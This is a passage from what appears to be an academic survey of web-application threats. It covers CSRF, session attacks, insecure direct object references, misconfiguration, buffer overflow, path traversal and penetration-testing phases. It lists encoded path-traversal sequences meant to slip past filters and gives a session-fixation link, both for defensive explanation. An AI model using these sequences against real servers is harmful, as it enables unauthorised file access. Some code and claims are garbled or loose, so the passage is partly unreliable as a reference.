CSRF vulnerabilities are not similar with XSS vulnerabilities. In XSS exploits, an attacker injects malicious scripts into an HTML document hosted by the victim web site, typically through submitting text embedded with code which is to be displayed on the page. Most XSS attacks are due to vulnerabilities in web applications which fail to recognize untrusted inputs. For example, a site might allow users to post comments. These comments are submitted by a user, stored in a database and displayed to all future users of the site. If an attacker is able to enter malicious JavaScript as part of a comment, the JavaScript would be embedded on any page containing the comment. When a user visits the site, the attacker’s JavaScript would be executed with all the privileges of the target site. Malicious JavaScript embedded in a target site would be able to send and receive requests from any page on the site and access cookies set by that site. Protection from XSS attacks require sites to carefully filter any user input to ensure that no malicious code is injected. CSRF and XSS attacks differ

(36)

in that XSS attacks require JavaScript, while CSRF attacks do not. CSRF attacks do not rely on the execution and injection of malicious JavaScript code. CSRF vulnerabilities are due to the use of cookies or HTTP authentication as the authentication mechanism. Most important part is a web site that does not have XSS vulnerabilities may contain CSRF vulnerabilities. XSS attacks require that sites accept malicious code, while with CSRF attacks malicious code is located on third-party sites. Filtering user input will prevent malicious code from running on a particular site, but it will not prevent malicious code from running on third-party sites. Since malicious code can run on third-party sites, protection from XSS attacks does not protect a site from CSRF attacks. If a site is vulnerable to XSS attacks, then it is vulnerable to CSRF attacks. If a site is completely protected from XSS attacks, it is most likely still vulnerable to CSRF attacks.

2.3.6 Protection

1. Secret Validation token

In this technique for each HTTP request a secret token is sent as additional information that is used to determine whether the request came from an authorized source. If the request does not have a validation token or the token does not match the expected value, the server will reject the request. This token is not easy to guess for an attacker. Secret one time token can defend against CSRF, but many time developers do not implement the defense mechanism because of their small knowledge about coding. Another possibility is that an attacker could simply steal the session ID. We can prevent this type of attack using shared secret (or token) between the client and the server to identify the actual origin of a request. This token must be generated by the application. Requests for financial transactions are only processed if they contain the correct token. The drawback of this approach is the considerable amount of manual work that it involves. For example, suppose we create a shopping website and there is also a login page for the user. User can purchase goods after successful login in this page. We use get method in this web page. Without any restriction user can see the url like this

localhost/jadavpur/csrf/?quentity=1&product=1

We generate a token and store that in the server so we store this as a session php and we check the token which is submitted by the user with the token which is stored in the session. Generate function generate a randomly token in the hidden field. When the user clicks on the submit button, the request along with the token is sent to the server. After that server checks the token. If it is correct then the product is parched by the user otherwise not.

(37)

public static function generate(); {

return $_SESSION[’token’]=

base64_encode(openssl_random_pseudo_bytes(32)); }

if(isset($_SESSION[’token’]) && $token ===$_SESSION[’token’]) { unset($_SESSION[’token’]); return true; } return false; }

Figure 2.6: Preventing CSRF using secrete token

If the attacker gets the token and modifies them and wants to purchase a product on behalf of the user then this token is not matched with the token stored in the server. So the server rejects the request.

2. Checking The Referer Header

HTTP Referer in the HTTP header list identifies the address of the web page means from where the request is originated. Using checking the referer header we prevent the CSRF attack. In web security field the referer field is very important because the attacker can easily modify the referer header that their web browser sends. But the problem in this mechanism is that some web browsers never send the header, some only send the header some of the time. Referer header checking can prevent some attacks but cannot prevent all web attacks [2].

(38)

3. Use Different Browsers

CSRF attacks mainly occur when the user uses the same browser for sen-sitive work (online banking) and also for other work. One way users can protect themselves from CSRF attacks is to use one browser for browsing sensitive, trusted sites and another for general browsing. For example, a user can use Microsoft Internet Explorer searching for some topic, and use Firefox to browse for his sensitive data [21] [22].

4. Same Origin Policy

In web application security field same origin policy is very important topic. Here origin means the source of the request. Origin is defined by the schemes, host, port of the protocol.

http://store.company.com/dir2/other.html Success

http://store.company.com/dir/inner/another.html Success

https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html

If an user is logged into the banking site while logging into the malicious site then the same origin policy controls the interaction between two web-sites. If the requests are not comming from the same origin then server does not reply to the user.

2.4 Broken Authentication and Session

Manage-ment

2.4.1 Introduction

Several times user account credentials and session tokens are not protected properly. For this reason third party can get access to the other’s account. Using wiresherk, an attacker can collect the packet which is send by the client to the server. Analyzing the packet, attacker can get the session ID, cookies, encrypted username and password. If this type of attack can occur then web application are vulnerable to Broken Authentication and Session Management flaws. Session cookies are bound to client IPs by issuing a validation cookie containing a cryptographic token. To perform session attacks an attacker must steal the IP address of the target [23] [24] [25] [26].

(39)

2.4.2 Examples of Attacks

1. Brute Force

In this attack an attacker randomly guesses the username, password and cryptographic key. Many systems allow weak password. An attacker checks the password through word by word.

2. Session Spotting

Attacker can analysis the traffic of the victim’s browser. The user (victim) sends the request to the server along with his cookies. Then the server re-ceives the request including the cookies and also the session ID. Analyzing the traffic the attacker can get the session ID.

3. Replay Attack

User sends the username and password to the web server. Web server verifies the username and password and gives the permission to the user. Attackers can listen the information (username, password) which is trans-ferred to the user. After that the attacker can log into the webserver using those username and password.

4. Session Fixation Attack

Suppose the victim has an account in the bank(www.unsafe.com). At-tacker knows that the bank server accepts any session ID means the bank server does not have any security validation. If the attacker wants to ac-cess the victim’s account then for the first step he sends an email to the victim including the link like this

http://www.unsafe.com/?SID=123456

5. Session Hijacking

Many web sites generate session ID with proprietary algorithms and in-crement static numbers. It can be more complicated. It can be calculated based on time and other variables. After that session ID is sent to the client. An attacker first connects to the web-server and gets the session ID. He guesses the next session ID using Brute force method. If he succeeds then he also guesses the session ID of the victims.

6. Session Expiration

For shares computing environment more than one person physically can access the computer. Suppose one user closes the browser without logging out. Another user can access the victims computer and go through the browser’s history of the victim. If the victims session ID has not been deleted then the attacker would be able to get the privileges of the victim.

(40)

2.4.3 Protection

Protecting credentials and session cookies is one of the most difficult tasks for a developer. Following preventive measures can be applied so as to secure web

applications:-1. Password strength

Password should be a combination of characters, numbers and also special characters. If the password is complex and hard to detect then it is difficult for an attacker to guess the password.

2. Password use

The number of attempt to login in a particular time should be recorded. If the user do not login into the system after 3 attempts then the user should be blocked for some time.

3. Password Storage

All passwords should be stored in either hashed or encrypted to protect them from exposed.

4. Using Secure Socket Layer

SSL should be the only option for all authenticated parts of the applica-tion. All credentials should be stored in hashed or encrypted form.

(a) Attack on the database or file system should not compromise creden-tials.

(b) Password should systematically be hashed. (c) Private keys should never be stored clear text. 5. Expire Session after Inactivity

If the user is inactive for some amount of time then then profile should be logged out automatically. For this session is live for a short duration and the session is more secure.

6. Use Strong Encryption on all Transmissions

For transfer data there must be sufficiently strong cryptography. Key lengths less than 64 bits are too weak, and keys of at least 128 bits in length are recommended since they are generally considered strong enough to be secure for some time into the future.

2.5 Insecure Direct Object References

2.5.1 Introduction

Direct Object References occurs when developer exposes a reference to an in-ternal sensitive data such as file, directory or database key in the URL field or

(41)

in the form parameter. If there is no security in authentication mechanism then the attacker can manipulate these references and get access to the sensitive data [27].

2.5.2 Protection

• Avoid exposing of direct object references to users by using an index.

• If a direct object reference must be used, ensure that the user is authorized before using it.

• Avoid exposing of private object references to users such as file names and primary keys.

• Verify authorization to all reference objects.

2.6 Security Misconfiguration

2.6.1 Introduction

An attacker can abuse web functionality that exists by misconfiguration of web server environments. Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, frame-work, and custom code. Developers and network administrators need to work together to ensure that the entire security system is configured properly. De-velopers should update the all software including the OS, Web/App Server, DBMS, applications, and all code libraries. Default account password should be changed. If the developer properly handle the error massage then the system becomes more secure.

Apache, MySQL and PHP(AMP) is most widely used web application server environment. AMP are all open source. Most of time we use PHP with default configuration means we do not change the php.inifile.This configuration file contains several parameters to control the behavior of the PHP application. [28] The configuration of MySQL is controlled by themy.conf configuration file. For empty root password for MySQL could lead to command injection attack or denial of service attacks.

On January 21, 2010 according to National Vulnerability Databases(NVD) 116 vulnerability incidents are related to PHP misconfiguration which allowed at-tackers to launch XSS and SQL injection attack.

There are many tools to check the misconfiguration vulnerabilities of the web application. PHPSecInfo is an automatic tool to check the vulnerabilities . It display the current value and recommended value of PHP configuration directives. The disadvantage of PHPSecInfo is that it is only limited to PHP. Another security tool is PHP Security Audit. Like PHPSecInfo it is also limited on PHP.

(42)

2.6.2 Protection

• Users should change the default settings.

• Always delete the unused pages.

• User should turn off the unused services.

• Web developers also consider the insider attacker.

2.7 Buffer Overflow

2.7.1 Introduction

In Buffer overflow attack attackers inject malicious code to make the server busy. Buffer overflow vulnerability can be present in the web application or web server. Like SQL injection an attacker targets the user input field. Buffer overflow is caused if the developer does not care about the bound checking and the input-validation in a variable field. If the web application doesn’t check or validate the size or format of a variable before sending it to be stored in the database, an overflow vulnerability exists.

There are two types of buffer overflow in the web applications. Those are stack-based and heap-based.

• Stack Overflow

• Heap Overflow

2.7.2 Protection

1. Finding bugs in source code

Buffer overflows are occur due to programming bugs. Many bug finding tools are present in the market. Tester tests the web application using this tool to find the bugs of the web application.

2. Compiler extensions

”If the source code is available, a developer can add buffer overflow detec-tion automatically to a program by using a modified compiler”[1]. Stack-Guard , ProPolice are this type of compiler. DIRA [25] compiler can detect control hijacking attacks. It also can identify the malicious input, and repair the compromised program.

3. Non-executable stacks

Modern operating system marks some or all writable regions of memory as non-executable. This technique can prevent the stack and heap memory areas from being executable. This helps to prevent buffer overflow attack.

(43)

AMD and Intel x86-64 chips with associated 64-bit operating systems

Windows XP SP2 (both 32- and 64-bit) Windows 2003 SP1 (both 32- and 64-bit)

Linux after 2.6.8 on AMD and x86-64 processors in 32 & 64-bit mode

This above Operating system have non-executable stack.

4. Capturing code running symptoms of buffer overflow attacks

Fundamentally, buffer overflows are a code running symptom. If such unique symptoms can be precisely captured, all buffer overflows can be detected.

2.8 Path Traversal Attack

2.8.1 Introduction

Manipulating the URL field an attacker can get to access the sensitive files on the web server. By using special character sequences an attacker can gain access to the directories without the root permission.

The ../ sequence is a common sequence that is used by an attacker to access files or to execute commands on the file system. Even though most web servers prevent this technique from escaping the web document root, you should check for the following alternate encodings of this sequence that might be used to bypass security filters:

%2e%2e%2f which translates to ../ %2e%2e/ which translates to ../ ..%2f which translates to ../ %2e%2e%5c which translates to ..\

2.8.2 Protection

• Users should use latest web server software.

• Web developer should check the user input coming from the user.

2.9 Other Types of Web Attack

2.9.1 Insufficient Anti-automation

In this type of attack web servers receive very large number of request. This type of attack occur when web server does not limit the frequency of intersection such that the incoming request. Requests may be coming from human or an automated process such as a virus or bot.

(44)

2.9.2 Authentication Attack

Authentication is very important is web security. If an user is authenticated then the user have permission to access the sensitive data of the organization. Authentication attack perform when web server does not authenticate the user properly . There are mainly three types of authentication attacks occur.

1. Brute Force

Allows an attacker to guess a person’s username, password, credit card number, or cryptographic key by using an automated process of trial and error.

2. Insufficient Authentication

Allows an attacker to access a website that contains sensitive content or functions without having to properly authenticate with the website. 3. Weak Password Recovery Validation

Allows an attacker to access a website that provide the user to store weak passwords like name or only combination of character.

2.9.3 Insufficient Authorization

Insufficient Authorization is when a web site permits access to sensitive content. When a user is authenticated to a web site, it does not necessarily mean that he should have full access to all content and that functionality should be granted arbitrarily.

(45)

Chapter 3

Web Application

Vulnerability Analysis and

Penetration Testing

3.1 Introduction

Vulnerability analysis only report and identify the vulnerability but Penetration testing test the system whether unauthorized user can break down the security of the system or not. Penetration testing analysis the hardware and software component of the system. It include test system configuration, hardware and software flaws. Using penetration testing an organization can identify the vul-nerabilities very quickly. Penetration testing has three phases: test preparation, test, and test analysis.

3.2 Types of Penetration Testing

3.2.1 Black box testing

In the black box testing tester have very poor knowledge of the system. The tester does not have the credentials , system architecture. This type of testing is based on the outside attacker’s point of view.

3.2.2 White box testing

In white box penetration testing, the testers have all the necessary information about source code of the system , IP address information and network diagrams. There is nothing hidden from the tester. This type of testing is based on the inside attacker’s point of view.

(46)

3.2.3 Grey box testing

In Grey box testing tester have knowledge between white and black box testing. Tester have some knowledge of system architecture.

3.3 Web Application Penetration Testing

A Web Application Penetration Test focuses only on evaluating the security of a web application. Web application penetration testing is not the serial execution of automated tools and generation of technical reports. It provides a clear idea of the system and also provide how to secure an organizations information and information systems from real world attacks. The Open Web Application Security Project (OWASP) is an open community for web application security.

3.3.1 Information Gathering

The first phase of Web Application penetration testing is Information Gather-ing. In this step, the testers collect as much as possible information about the system. The deeper knowledge is very useful for the penetration testing. This information is collected using the search engine , sending simple HTTP request, using scanners. The tester can collect the fingerprint the web server manually or using some automated tools. Here the number OWASP-IG-001 are the refer-ence number provided by the OWASP. IG stands for information gathering and 001 is the number.

1. Spiders, Robots, and Crawlers (OWASP-IG-001)

This phase of the Information Gathering process consists of browsing and capturing resources related to the application being tested.

2. Search Engine Discovery/Reconnaissance (OWASP-IG-002)

Search engine like Google is used for information gathering. 3. Identify application entry points (OWASP-IG-003)

Entry point like username and password filed is common for all web ap-plication. Penetration tester also find the other entry point of the web application.

4. Testing Web Application Fingerprint (OWASP-IG-004)Web ap-plication fingerprint means the version and type of web server which web application used.

5. Application Discovery (OWASP-IG-005)

Testers test the web application to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities which can be used to gain remote control or to exploit data.

A Survey on Threats and Vulnerabilities of Web Services